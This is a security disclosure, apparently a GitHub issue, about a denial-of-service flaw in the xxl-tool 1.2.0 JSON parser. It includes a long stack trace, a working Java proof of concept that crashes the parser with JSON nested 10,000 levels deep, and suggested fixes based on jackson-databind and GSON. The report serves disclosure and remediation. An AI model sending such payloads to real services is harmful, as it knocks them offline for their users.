StackOverflowError caused by xxl-tool parsing of untrusted JSON String

[PoppingSnack]

StackOverflowError caused by xxl-tool parsing of untrusted JSON String

Description

Using xxl-tool to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.

Error Log

Exception in thread "main" java.lang.StackOverflowError
	at java.base/java.lang.String.charAt(String.java:693)
	at com.xxl.tool.json.reader.BasicJsonReader.trimTrailingCharacter(BasicJsonReader.java:168)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:75)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)
	at com.xxl.tool.json.reader.BasicJsonReader.parseInternal(BasicJsonReader.java:53)
	at com.xxl.tool.json.reader.BasicJsonReader.parseMapInternal(BasicJsonReader.java:79)

PoC

        <dependency>
            <groupId>com.xuxueli</groupId>
            <artifactId>xxl-tool</artifactId>
            <version>1.2.0</version>
        </dependency>

import com.xxl.tool.json.reader.BasicJsonReader;

public class PoC {
    public final static String TOO_DEEP_Object = "{" + _nestedDoc(10000, "\"a\": { ", "} ", "1") + "}";

    public static String _nestedDoc(int nesting, String open, String close, String content) {
        StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
        for (int i = 0; i < nesting; ++i) {
            sb.append(open);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        sb.append("\n").append(content).append("\n");
        for (int i = 0; i < nesting; ++i) {
            sb.append(close);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        return sb.toString();
    }

    public static void main(String[] args) {
        BasicJsonReader basicJsonReader = new BasicJsonReader();
//        basicJsonReader.parseList(NestUtil.TOO_DEEP_Array);
        basicJsonReader.parseMap(TOO_DEEP_Object);
    }
}

Rectification Solution

1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (FasterXML/jackson-databind@fcfc499)

2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（google/gson@2d01d6a20f39881c692977564c1ea591d9f39027）)

References

1. If the value in map is the map's self, the new new JSONObject(map) cause StackOverflowError which may lead to dos jettison-json/jettison#52
2. https://github.com/jettison-json/jettison/pull/53/files